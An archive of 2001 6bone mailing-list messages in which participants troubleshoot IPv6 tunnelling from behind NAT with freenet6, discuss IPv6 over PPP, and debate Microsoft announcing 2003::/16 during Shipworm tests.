hardware cable/DSL router.   I've configured that new router to forward
all incoming packets to the old server.   The old server current has one
NIC now.   
	I've been trying to use freenet6's tunnel broker service to
connect to the 6bone.   At first this failed as the server had a private
IP.  However, I changed the tspc.conf file to include the external IP
provided by my ISP as the v4 address used for the tunnel.   After doing
this, the tunnel seems to set itself up properly.   However, I'm not
able to ping anything but the server, or any other machine with IPv6 on
my private network.   Can anyone point out something that I need to do
in order to get this to work?

Here are some outputs from the command line on the server I'm trying to
create a 6to4 router on:


C:\>ping6 www.6bone.net

Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:

Request timed out.
Request timed out.

C:\>ping6 perr2187.tsps1.freenet6.net

Pinging perr2187.tsps1.freenet6.net [3ffe:b80:2:2f4e::2] with 32 bytes
of data:

Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms


C:\>ipv6 if
Interface 4 (site 1): Local Area Connection
  uses Neighbor Discovery
  sends Router Advertisements
  forwards packets
  link-level address: 00-01-02-72-e1-4a
    preferred address fe80::201:2ff:fe72:e14a, infinite/infinite
    multicast address ff02::1, 1 refs, not reportable
    multicast address ff02::1:ff72:e14a, 1 refs, last reporter
    multicast address ff02::2, 1 refs, last reporter
    multicast address ff05::2, 1 refs, last reporter
  link MTU 1500 (true link MTU 1500)
  current hop limit 128
  reachable time 23500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
Interface 3 (site 1): 6-over-4 Virtual Interface
  uses Neighbor Discovery
  sends Router Advertisements
  forwards packets
  link-level address: 192.168.50.1
    preferred address fe80::c0a8:3201, infinite/infinite
    multicast address ff02::1, 1 refs, not reportable
    multicast address ff02::1:ffa8:3201, 1 refs, last reporter
    multicast address ff02::2, 1 refs, last reporter
    multicast address ff05::2, 1 refs, last reporter
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 15500ms (base 30000ms)
  retransmission interval 1000ms
  DAD transmits 1
Interface 2 (site 0): Tunnel Pseudo-Interface
  does not use Neighbor Discovery
  forwards packets
  link-level address: 0.0.0.0
    preferred address 2002:ac1f:2aef::ac1f:2aef, infinite/infinite
    preferred address 3ffe:b80:2:2f4e::2, infinite/infinite
    preferred address 2002:c0a8:3201::c0a8:3201, infinite/infinite
    preferred address ::192.168.50.1, infinite/infinite
  link MTU 1280 (true link MTU 65515)
  current hop limit 128
  reachable time 0ms (base 0ms)
  retransmission interval 0ms
  DAD transmits 0
Interface 1 (site 0): Loopback Pseudo-Interface
  does not use Neighbor Discovery
  link-level address:
    preferred address ::1, infinite/infinite
  link MTU 1500 (true link MTU 1500)
  current hop limit 1
  reachable time 0ms (base 0ms)
  retransmission interval 0ms
  DAD transmits 0


C:\>ipv6 rt
::/0 -> 2 pref 0 (lifetime infinite, publish, no aging) 2002::/16 -> 2
pref 0 (lifetime 1800s, publish, no aging) ::/96 -> 2 pref 0 (lifetime
infinite)


As you can probably tell, I'm relatively new to IPv6, but any comments
or suggestions would be greatly appreciated.

Thanks,

Dan


From 6bone-owner  Thu Dec  6 11:40:37 2001
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I have begun experimenting with IPv6 PPP using Brian Somers' latest BSD 
PPP sources. I am at the point where PPP connections come up and a 
link-local address is negotiated for each end, vis:

tun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1398
        inet6 fe80::1387:a573%tun0 --> fe80::1422:8917%tun0 prefixlen 
128 scopeid 0x6

As soon as it is in this state, I can also use 'iface add' to assign 
routable addresses to both sides manually to get

        inet6 3ffe:1200:301b:3::1 --> 3ffe:1200:301b:3::2 prefixlen 128

at which point route6d on the "server" makes the endpoint reachable and 
everything is good and righteous.

The problem is that it requires more or less manual intervention to do 
all of that.

Is there a spec for what a PPP connection is supposed to do once the 
link-local addresses are established? Shouldn't the "client" at that 
point perform a router solicitation to determine the prefix on its 
endpoint or something?



From 6bone-owner  Thu Dec  6 11:47:40 2001
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From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
cc: Dan Perry <dap23@cornell.edu>
Subject: Re: 6bone access from behind NAT
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

If you don't mind the question, why on Earth do you want to NAT with
IPv6? I read somewhere that IPv6 addresses allow each and every
molecule on the planet to have its own IP address - I haven't checked
that but there are tons of IPv6 addresses available. You get a 64-bit
part (or is it even 80 bits?) to use any way you like; MAC addresses
which are used on Ethernet networks are 48 bits long. Lots of room to
spare even if you'd have every Ethernet card in the world on your LAN.

Also, I noted this in the 'ipv6 if' output:

> Interface 3 (site 1): 6-over-4 Virtual Interface
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 192.168.50.1
>     preferred address fe80::c0a8:3201, infinite/infinite

Just a question to the gurus here - wouldn't the address be
2001:c0a8:3201::? http://www.6bone.net/6bone_6to4.html seems to imply
this, if I read the text correctly: "A special IPv6 routing prefix
(2002::/16) is used to indicate that the remaining 32-bits of the
external routing prefix contain the IPv4 end-point address of a
boundary IPv6 router for that site that will respond to IPv6 in IPv4
encapsulation."

And here's a suggestion for you: tracert6. What does it output? How
far do you get?


Michael Kjörling


On Dec 6 2001 11:18 -0500, Dan Perry wrote:

> Hi all,
> 	I'm trying (unsuccessfully) to connect a small network of
> windows 2000 machines to the 6bone.  Originally, I had one machine
> running the standard Windows NAT service, and that server had one NIC
> connected directly to the DSL line, and the other to the private
> network.   I had that server running as a 6to4 router, and everything
> worked fine.   However, I've since replaced that server with a common
> hardware cable/DSL router.   I've configured that new router to forward
> all incoming packets to the old server.   The old server current has one
> NIC now.
> 	I've been trying to use freenet6's tunnel broker service to
> connect to the 6bone.   At first this failed as the server had a private
> IP.  However, I changed the tspc.conf file to include the external IP
> provided by my ISP as the v4 address used for the tunnel.   After doing
> this, the tunnel seems to set itself up properly.   However, I'm not
> able to ping anything but the server, or any other machine with IPv6 on
> my private network.   Can anyone point out something that I need to do
> in order to get this to work?
>
> Here are some outputs from the command line on the server I'm trying to
> create a 6to4 router on:
>
>
> C:\>ping6 www.6bone.net
>
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
>
> Request timed out.
> Request timed out.
>
> C:\>ping6 perr2187.tsps1.freenet6.net
>
> Pinging perr2187.tsps1.freenet6.net [3ffe:b80:2:2f4e::2] with 32 bytes
> of data:
>
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
>
>
> C:\>ipv6 if
> /ipv6 output snipped/
>
> C:\>ipv6 rt
> ::/0 -> 2 pref 0 (lifetime infinite, publish, no aging) 2002::/16 -> 2
> pref 0 (lifetime 1800s, publish, no aging) ::/96 -> 2 pref 0 (lifetime
> infinite)
>
>
> As you can probably tell, I'm relatively new to IPv6, but any comments
> or suggestions would be greatly appreciated.
>
> Thanks,
>
> Dan

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e   \/
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Public key is at http://michael.kjorling.com/contact/pgp.html

iD8DBQE8D8uXKqN7/Ypw4z4RAp1CAJ9Aiy143lIEFnma23ITBrYOzYTlwACgw/vM
FbGWIXTEa9JB8hmlGrKDKW8=
=Az7Q
-----END PGP SIGNATURE-----



From 6bone-owner  Thu Dec  6 12:55:58 2001
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Date: Thu, 06 Dec 2001 15:59:03 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
To: Dan Perry <dap23@cornell.edu>, 6bone@ISI.EDU
cc: users@freenet6.net
Subject: Re: 6bone access from behind NAT
Message-ID: <59480000.1007672343@classic>
In-Reply-To: <002501c17e71$a96b99d0$0132a8c0@dogfood.local>
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freenet6 does not give you any 6to4, it gives you a normal prefix, so I'm 
confused about your reference to a 6to4 router.

I would suggest you to bring this to the users@freenet6.net mailing list.

Marc


-- jeudi, décembre 06, 2001 11:18:33 -0500 Dan Perry <dap23@cornell.edu> 
wrote/a écrit:

> Hi all,
> 	I'm trying (unsuccessfully) to connect a small network of
> windows 2000 machines to the 6bone.  Originally, I had one machine
> running the standard Windows NAT service, and that server had one NIC
> connected directly to the DSL line, and the other to the private
> network.   I had that server running as a 6to4 router, and everything
> worked fine.   However, I've since replaced that server with a common
> hardware cable/DSL router.   I've configured that new router to forward
> all incoming packets to the old server.   The old server current has one
> NIC now.
> 	I've been trying to use freenet6's tunnel broker service to
> connect to the 6bone.   At first this failed as the server had a private
> IP.  However, I changed the tspc.conf file to include the external IP
> provided by my ISP as the v4 address used for the tunnel.   After doing
> this, the tunnel seems to set itself up properly.   However, I'm not
> able to ping anything but the server, or any other machine with IPv6 on
> my private network.   Can anyone point out something that I need to do
> in order to get this to work?
>
> Here are some outputs from the command line on the server I'm trying to
> create a 6to4 router on:
>
>
> C:\>ping6 www.6bone.net
>
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
>
> Request timed out.
> Request timed out.
>
> C:\>ping6 perr2187.tsps1.freenet6.net
>
> Pinging perr2187.tsps1.freenet6.net [3ffe:b80:2:2f4e::2] with 32 bytes
> of data:
>
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
>
>
> C:\>ipv6 if
> Interface 4 (site 1): Local Area Connection
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 00-01-02-72-e1-4a
>     preferred address fe80::201:2ff:fe72:e14a, infinite/infinite
>     multicast address ff02::1, 1 refs, not reportable
>     multicast address ff02::1:ff72:e14a, 1 refs, last reporter
>     multicast address ff02::2, 1 refs, last reporter
>     multicast address ff05::2, 1 refs, last reporter
>   link MTU 1500 (true link MTU 1500)
>   current hop limit 128
>   reachable time 23500ms (base 30000ms)
>   retransmission interval 1000ms
>   DAD transmits 1
> Interface 3 (site 1): 6-over-4 Virtual Interface
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 192.168.50.1
>     preferred address fe80::c0a8:3201, infinite/infinite
>     multicast address ff02::1, 1 refs, not reportable
>     multicast address ff02::1:ffa8:3201, 1 refs, last reporter
>     multicast address ff02::2, 1 refs, last reporter
>     multicast address ff05::2, 1 refs, last reporter
>   link MTU 1280 (true link MTU 65515)
>   current hop limit 128
>   reachable time 15500ms (base 30000ms)
>   retransmission interval 1000ms
>   DAD transmits 1
> Interface 2 (site 0): Tunnel Pseudo-Interface
>   does not use Neighbor Discovery
>   forwards packets
>   link-level address: 0.0.0.0
>     preferred address 2002:ac1f:2aef::ac1f:2aef, infinite/infinite
>     preferred address 3ffe:b80:2:2f4e::2, infinite/infinite
>     preferred address 2002:c0a8:3201::c0a8:3201, infinite/infinite
>     preferred address ::192.168.50.1, infinite/infinite
>   link MTU 1280 (true link MTU 65515)
>   current hop limit 128
>   reachable time 0ms (base 0ms)
>   retransmission interval 0ms
>   DAD transmits 0
> Interface 1 (site 0): Loopback Pseudo-Interface
>   does not use Neighbor Discovery
>   link-level address:
>     preferred address ::1, infinite/infinite
>   link MTU 1500 (true link MTU 1500)
>   current hop limit 1
>   reachable time 0ms (base 0ms)
>   retransmission interval 0ms
>   DAD transmits 0
>
>
> C:\>ipv6 rt
> ::/0 -> 2 pref 0 (lifetime infinite, publish, no aging) 2002::/16 -> 2
> pref 0 (lifetime 1800s, publish, no aging) ::/96 -> 2 pref 0 (lifetime
> infinite)
>
>
> As you can probably tell, I'm relatively new to IPv6, but any comments
> or suggestions would be greatly appreciated.
>
> Thanks,
>
> Dan
>



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From 6bone-owner  Thu Dec  6 13:00:59 2001
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Date: Thu, 6 Dec 2001 16:01:37 -0500 (EST)
From: vertigo <vertigo@panix.com>
To: Michael Kjorling <michael@kjorling.com>
Cc: 6bone <6bone@ISI.EDU>, Dan Perry <dap23@cornell.edu>
Subject: Re: 6bone access from behind NAT
In-Reply-To: <Pine.LNX.4.43.0112062042060.18187-100000@varg.wolfpack>
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I would guess it has something to do with security.

vertigo


On Thu, 6 Dec 2001, Michael Kjorling wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> If you don't mind the question, why on Earth do you want to NAT with
> IPv6? I read somewhere that IPv6 addresses allow each and every
> molecule on the planet to have its own IP address - I haven't checked
> that but there are tons of IPv6 addresses available. You get a 64-bit
> part (or is it even 80 bits?) to use any way you like; MAC addresses
> which are used on Ethernet networks are 48 bits long. Lots of room to
> spare even if you'd have every Ethernet card in the world on your LAN.
>
> Also, I noted this in the 'ipv6 if' output:
>
> > Interface 3 (site 1): 6-over-4 Virtual Interface
> >   uses Neighbor Discovery
> >   sends Router Advertisements
> >   forwards packets
> >   link-level address: 192.168.50.1
> >     preferred address fe80::c0a8:3201, infinite/infinite
>
> Just a question to the gurus here - wouldn't the address be
> 2001:c0a8:3201::? http://www.6bone.net/6bone_6to4.html seems to imply
> this, if I read the text correctly: "A special IPv6 routing prefix
> (2002::/16) is used to indicate that the remaining 32-bits of the
> external routing prefix contain the IPv4 end-point address of a
> boundary IPv6 router for that site that will respond to IPv6 in IPv4
> encapsulation."
>
> And here's a suggestion for you: tracert6. What does it output? How
> far do you get?
>
>
> Michael Kjörling
>
>
> On Dec 6 2001 11:18 -0500, Dan Perry wrote:
>
> > Hi all,
> > 	I'm trying (unsuccessfully) to connect a small network of
> > windows 2000 machines to the 6bone.  Originally, I had one machine
> > running the standard Windows NAT service, and that server had one NIC
> > connected directly to the DSL line, and the other to the private
> > network.   I had that server running as a 6to4 router, and everything
> > worked fine.   However, I've since replaced that server with a common
> > hardware cable/DSL router.   I've configured that new router to forward
> > all incoming packets to the old server.   The old server current has one
> > NIC now.
> > 	I've been trying to use freenet6's tunnel broker service to
> > connect to the 6bone.   At first this failed as the server had a private
> > IP.  However, I changed the tspc.conf file to include the external IP
> > provided by my ISP as the v4 address used for the tunnel.   After doing
> > this, the tunnel seems to set itself up properly.   However, I'm not
> > able to ping anything but the server, or any other machine with IPv6 on
> > my private network.   Can anyone point out something that I need to do
> > in order to get this to work?
> >
> > Here are some outputs from the command line on the server I'm trying to
> > create a 6to4 router on:
> >
> >
> > C:\>ping6 www.6bone.net
> >
> > Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
> >
> > Request timed out.
> > Request timed out.
> >
> > C:\>ping6 perr2187.tsps1.freenet6.net
> >
> > Pinging perr2187.tsps1.freenet6.net [3ffe:b80:2:2f4e::2] with 32 bytes
> > of data:
> >
> > Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> > Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> >
> >
> > C:\>ipv6 if
> > /ipv6 output snipped/
> >
> > C:\>ipv6 rt
> > ::/0 -> 2 pref 0 (lifetime infinite, publish, no aging) 2002::/16 -> 2
> > pref 0 (lifetime 1800s, publish, no aging) ::/96 -> 2 pref 0 (lifetime
> > infinite)
> >
> >
> > As you can probably tell, I'm relatively new to IPv6, but any comments
> > or suggestions would be greatly appreciated.
> >
> > Thanks,
> >
> > Dan
>
> - --
> Michael Kjörling  --  Programmer/Network administrator  ^..^
> PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e   \/
> Internet: michael@kjorling.com -- FidoNet: 2:204/254.4
>
> "There is something to be said about not trying to be glamorous
> and popular and cool. Just be real -- and life will be real."
> (Joyce Sequichie Hifler, September 13 2001, www.hifler.com)
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.6 (GNU/Linux)
> Comment: Public key is at http://michael.kjorling.com/contact/pgp.html
>
> iD8DBQE8D8uXKqN7/Ypw4z4RAp1CAJ9Aiy143lIEFnma23ITBrYOzYTlwACgw/vM
> FbGWIXTEa9JB8hmlGrKDKW8=
> =Az7Q
> -----END PGP SIGNATURE-----
>
>


From 6bone-owner  Thu Dec  6 14:18:31 2001
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Date: Thu, 6 Dec 2001 19:18:57 -0300 (ART)
From: Flavio Villanustre <lists@geminis.myip.org>
To: Dan Perry <dap23@cornell.edu>
cc: <6bone@ISI.EDU>
Subject: Re: 6bone access from behind NAT
In-Reply-To: <002501c17e71$a96b99d0$0132a8c0@dogfood.local>
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If you're using freenet6, you should request a /48 prefix that can be done 
by simply doing:

Add host_type=router in tspc.conf 
Add prefixlen=48 in tspc.conf 
Add if_prefix=YOUR_NETWORK_INTERFACE in tspc.conf 

After that it should establish tunnel and set up local interface with a 
/64 prefix for your other boxes to use it as a gateway (currently all your 
ip addresses in your local interface are link scope addresses and not 
global scope addresses). And hopefully it should run a router 
advertisement daemon (or its equivalent under windows) to autoconfigure 
other boxes.

Regards,

Flavio.

On Thu, 6 Dec 2001, Dan Perry wrote:

> Hi all,
> 	I'm trying (unsuccessfully) to connect a small network of
> windows 2000 machines to the 6bone.  Originally, I had one machine
> running the standard Windows NAT service, and that server had one NIC
> connected directly to the DSL line, and the other to the private
> network.   I had that server running as a 6to4 router, and everything
> worked fine.   However, I've since replaced that server with a common
> hardware cable/DSL router.   I've configured that new router to forward
> all incoming packets to the old server.   The old server current has one
> NIC now.   
> 	I've been trying to use freenet6's tunnel broker service to
> connect to the 6bone.   At first this failed as the server had a private
> IP.  However, I changed the tspc.conf file to include the external IP
> provided by my ISP as the v4 address used for the tunnel.   After doing
> this, the tunnel seems to set itself up properly.   However, I'm not
> able to ping anything but the server, or any other machine with IPv6 on
> my private network.   Can anyone point out something that I need to do
> in order to get this to work?
> 
> Here are some outputs from the command line on the server I'm trying to
> create a 6to4 router on:
> 
> 
> C:\>ping6 www.6bone.net
> 
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
> 
> Request timed out.
> Request timed out.
> 
> C:\>ping6 perr2187.tsps1.freenet6.net
> 
> Pinging perr2187.tsps1.freenet6.net [3ffe:b80:2:2f4e::2] with 32 bytes
> of data:
> 
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> 
> 
> C:\>ipv6 if
> Interface 4 (site 1): Local Area Connection
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 00-01-02-72-e1-4a
>     preferred address fe80::201:2ff:fe72:e14a, infinite/infinite
>     multicast address ff02::1, 1 refs, not reportable
>     multicast address ff02::1:ff72:e14a, 1 refs, last reporter
>     multicast address ff02::2, 1 refs, last reporter
>     multicast address ff05::2, 1 refs, last reporter
>   link MTU 1500 (true link MTU 1500)
>   current hop limit 128
>   reachable time 23500ms (base 30000ms)
>   retransmission interval 1000ms
>   DAD transmits 1
> Interface 3 (site 1): 6-over-4 Virtual Interface
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 192.168.50.1
>     preferred address fe80::c0a8:3201, infinite/infinite
>     multicast address ff02::1, 1 refs, not reportable
>     multicast address ff02::1:ffa8:3201, 1 refs, last reporter
>     multicast address ff02::2, 1 refs, last reporter
>     multicast address ff05::2, 1 refs, last reporter
>   link MTU 1280 (true link MTU 65515)
>   current hop limit 128
>   reachable time 15500ms (base 30000ms)
>   retransmission interval 1000ms
>   DAD transmits 1
> Interface 2 (site 0): Tunnel Pseudo-Interface
>   does not use Neighbor Discovery
>   forwards packets
>   link-level address: 0.0.0.0
>     preferred address 2002:ac1f:2aef::ac1f:2aef, infinite/infinite
>     preferred address 3ffe:b80:2:2f4e::2, infinite/infinite
>     preferred address 2002:c0a8:3201::c0a8:3201, infinite/infinite
>     preferred address ::192.168.50.1, infinite/infinite
>   link MTU 1280 (true link MTU 65515)
>   current hop limit 128
>   reachable time 0ms (base 0ms)
>   retransmission interval 0ms
>   DAD transmits 0
> Interface 1 (site 0): Loopback Pseudo-Interface
>   does not use Neighbor Discovery
>   link-level address:
>     preferred address ::1, infinite/infinite
>   link MTU 1500 (true link MTU 1500)
>   current hop limit 1
>   reachable time 0ms (base 0ms)
>   retransmission interval 0ms
>   DAD transmits 0
> 
> 
> C:\>ipv6 rt
> ::/0 -> 2 pref 0 (lifetime infinite, publish, no aging) 2002::/16 -> 2
> pref 0 (lifetime 1800s, publish, no aging) ::/96 -> 2 pref 0 (lifetime
> infinite)
> 
> 
> As you can probably tell, I'm relatively new to IPv6, but any comments
> or suggestions would be greatly appreciated.
> 
> Thanks,
> 
> Dan
> 


From 6bone-owner  Thu Dec  6 14:29:53 2001
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From: "Dan Perry" <dap23@cornell.edu>
To: <6bone@ISI.EDU>
Subject: RE: 6bone access from behind NAT
Date: Thu, 6 Dec 2001 17:30:53 -0500
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Thanks for the suggestions I've gotten so far.  But it seems I didn't
clearly state what was wrong.   The real problem I'm having is that I
have a 2000 behind NAT.   I want that server to connect to the 6bone and
act as a router for the local network behind the NAT.   However, I can't
figure out how to get the server to connect to the 6bone, since it is
behind NAT.  I've been trying to use freenet6 as a tunnel broker.   I've
manually configured the NAT to route all incoming ports to my server.
My idea was that the tunnel would get forwarder along with the other
incoming IPv4 traffic, and then my server could act as a terminator for
the tunnel, and also route IPv6 traffic to the other clients behind the
NAT.   What I want to know is has anyone successfully connected to the
6bone from behind a NAT.    Is this even possible?   The freenet6 tunnel
broker gives a success message that it has connected, but I can't ping
anything outside.   Is there anything I can read up on the might help me
deal with the NAT that my server is behind.

Thanks again,

Dan

-----Original Message-----
On Thu, 6 Dec 2001, Dan Perry wrote:

> Hi all,
> 	I'm trying (unsuccessfully) to connect a small network of
> windows 2000 machines to the 6bone.  Originally, I had one machine
> running the standard Windows NAT service, and that server had one NIC
> connected directly to the DSL line, and the other to the private
> network.   I had that server running as a 6to4 router, and everything
> worked fine.   However, I've since replaced that server with a common
> hardware cable/DSL router.   I've configured that new router to
forward
> all incoming packets to the old server.   The old server current has
one
> NIC now.   
> 	I've been trying to use freenet6's tunnel broker service to
> connect to the 6bone.   At first this failed as the server had a
private
> IP.  However, I changed the tspc.conf file to include the external IP
> provided by my ISP as the v4 address used for the tunnel.   After
doing
> this, the tunnel seems to set itself up properly.   However, I'm not
> able to ping anything but the server, or any other machine with IPv6
on
> my private network.   Can anyone point out something that I need to do
> in order to get this to work?
> 
> Here are some outputs from the command line on the server I'm trying
to
> create a 6to4 router on:
> 
> 
> C:\>ping6 www.6bone.net
> 
> Pinging 6bone.net [3ffe:b00:c18:1::10] with 32 bytes of data:
> 
> Request timed out.
> Request timed out.
> 
> C:\>ping6 perr2187.tsps1.freenet6.net
> 
> Pinging perr2187.tsps1.freenet6.net [3ffe:b80:2:2f4e::2] with 32 bytes
> of data:
> 
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> Reply from 3ffe:b80:2:2f4e::2: bytes=32 time<1ms
> 
> 
> C:\>ipv6 if
> Interface 4 (site 1): Local Area Connection
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 00-01-02-72-e1-4a
>     preferred address fe80::201:2ff:fe72:e14a, infinite/infinite
>     multicast address ff02::1, 1 refs, not reportable
>     multicast address ff02::1:ff72:e14a, 1 refs, last reporter
>     multicast address ff02::2, 1 refs, last reporter
>     multicast address ff05::2, 1 refs, last reporter
>   link MTU 1500 (true link MTU 1500)
>   current hop limit 128
>   reachable time 23500ms (base 30000ms)
>   retransmission interval 1000ms
>   DAD transmits 1
> Interface 3 (site 1): 6-over-4 Virtual Interface
>   uses Neighbor Discovery
>   sends Router Advertisements
>   forwards packets
>   link-level address: 192.168.50.1
>     preferred address fe80::c0a8:3201, infinite/infinite
>     multicast address ff02::1, 1 refs, not reportable
>     multicast address ff02::1:ffa8:3201, 1 refs, last reporter
>     multicast address ff02::2, 1 refs, last reporter
>     multicast address ff05::2, 1 refs, last reporter
>   link MTU 1280 (true link MTU 65515)
>   current hop limit 128
>   reachable time 15500ms (base 30000ms)
>   retransmission interval 1000ms
>   DAD transmits 1
> Interface 2 (site 0): Tunnel Pseudo-Interface
>   does not use Neighbor Discovery
>   forwards packets
>   link-level address: 0.0.0.0
>     preferred address 2002:ac1f:2aef::ac1f:2aef, infinite/infinite
>     preferred address 3ffe:b80:2:2f4e::2, infinite/infinite
>     preferred address 2002:c0a8:3201::c0a8:3201, infinite/infinite
>     preferred address ::192.168.50.1, infinite/infinite
>   link MTU 1280 (true link MTU 65515)
>   current hop limit 128
>   reachable time 0ms (base 0ms)
>   retransmission interval 0ms
>   DAD transmits 0
> Interface 1 (site 0): Loopback Pseudo-Interface
>   does not use Neighbor Discovery
>   link-level address:
>     preferred address ::1, infinite/infinite
>   link MTU 1500 (true link MTU 1500)
>   current hop limit 1
>   reachable time 0ms (base 0ms)
>   retransmission interval 0ms
>   DAD transmits 0
> 
> 
> C:\>ipv6 rt
> ::/0 -> 2 pref 0 (lifetime infinite, publish, no aging) 2002::/16 -> 2
> pref 0 (lifetime 1800s, publish, no aging) ::/96 -> 2 pref 0 (lifetime
> infinite)
> 
> 
> As you can probably tell, I'm relatively new to IPv6, but any comments
> or suggestions would be greatly appreciated.
> 
> Thanks,
> 
> Dan
> 



From 6bone-owner  Thu Dec  6 14:34:37 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Michael Kjorling <michael@kjorling.com>
cc: 6bone <6bone@ISI.EDU>, Dan Perry <dap23@cornell.edu>
Subject: Re: 6bone access from behind NAT
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On Thu, 6 Dec 2001, Michael Kjorling wrote:
> Also, I noted this in the 'ipv6 if' output:
> 
> > Interface 3 (site 1): 6-over-4 Virtual Interface
> >   uses Neighbor Discovery
> >   sends Router Advertisements
> >   forwards packets
> >   link-level address: 192.168.50.1
> >     preferred address fe80::c0a8:3201, infinite/infinite
> 
> Just a question to the gurus here - wouldn't the address be
> 2001:c0a8:3201::? http://www.6bone.net/6bone_6to4.html seems to imply
> this, if I read the text correctly: "A special IPv6 routing prefix
> (2002::/16) is used to indicate that the remaining 32-bits of the
> external routing prefix contain the IPv4 end-point address of a
> boundary IPv6 router for that site that will respond to IPv6 in IPv4
> encapsulation."

Packets to private addresses and their 6to4 equivalents MUST not be 
discarded.  You need a global address, otherwise you can't use 6to4.

Shipworm (see http://www.6bone.net/ngtrans/) is a solution for access with
private addresses, ie. in cases where your operator or your IPv6-incapable 
DSL/cable modem performs NAT.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Dec  6 18:03:32 2001
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Date: Fri, 7 Dec 2001 03:03:58 +0100
From: Jan Oravec <wsx@wsx6.net>
To: Christian Huitema <huitema@windows.microsoft.com>, 6bone@ISI.EDU
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
Message-ID: <20011207030357.A36704@ipv6.isternet.sk>
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> You may have observed Microsoft announcing reachability of the prefix
> 2003::/16 over the 6Bone. The appended e-mail sent to the NGTRANS
> working group explains why. We are currently testing the "Shipworm"
> protocol, which carries IPv6 through NAT by using encapsulation over

Although I welcome your will to participate on IPv6 protocol development,
I cannot agree with announcing 2003::/16. There are active production IPv6
networks over the world already which are connected to 6bone and receiving
this non-official prefixe. It is the same as advertising 197.0.0.0/8 over
the Internet which is, according to IANA, reserved prefix.

Anyway, I don't see the point of using the Shipworm. The cleaner solution
is to configure IPv6 on the box, which provide NAT for the private network.


Best Regards,

Jan Oravec
XS26 - 'Access to IPv6'
jan.oravec@xs26.net

From 6bone-owner  Thu Dec  6 20:22:07 2001
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Date: Thu, 06 Dec 2001 23:17:04 -0500
To: Jan Oravec <wsx@wsx6.net>
From: Paul Timmins <paul@timmins.net>
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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Something like this can become very useful for people trapped behind 
firewalls that cannot yet do IPv6, and will be useful until IPv6 is 
ubiquitous enough to garner enough support for all companies to support 
IPv6 in production hardware.
Also, I heard there are a few cablemodem providers that block non tcp/udp 
protocols to prevent use of IPSEC by telecommuters and it breaks IPv6 over 
IPv4. Shall these people just be isolated until their providers can get 
their act together?
I could see this being useful to me. Hopefully the standard that is 
published is the standard that Microsoft sticks to when implementing this 
in a release of their OS, so it can be implemented by other platforms.
My god, I'm not only thanking Microsoft, I'm sticking up for them too. What 
is this world coming to?
-Paul

At 09:03 PM 12/6/2001, you wrote:
>Anyway, I don't see the point of using the Shipworm. The cleaner solution
>is to configure IPv6 on the box, which provide NAT for the private network.


From 6bone-owner  Thu Dec  6 22:17:47 2001
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From: Jan Oravec <wsx@wsx6.net>
To: Paul Timmins <paul@timmins.net>
Cc: 6bone@ISI.EDU
Subject: Re: Announcing 2003::/16 during tests of "shipworm"
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On Thu, Dec 06, 2001 at 11:17:04PM -0500, Paul Timmins wrote:
> Something like this can become very useful for people trapped behind 
> firewalls that cannot yet do IPv6, and will be useful until IPv6 is 
> ubiquitous enough to garner enough support for all companies to support 
> IPv6 in production hardware.
> Also, I heard there are a few cablemodem providers that block non tcp/udp 
> protocols to prevent use of IPSEC by telecommuters and it breaks IPv6 over 
> IPv4. Shall these people just be isolated until their providers can get 
> their act together?
I would not choose such provider. It's bussiness. One provides, one not.
Your favourite transport company fly to XYZ doesn't imply all transport
companies fly to XYZ. Anyway, I have some computers behind NAT successfully
connected to 6bone over stunnel/ppp. Not so clean solution, but works.

> I could see this being useful to me. Hopefully the standard that is 
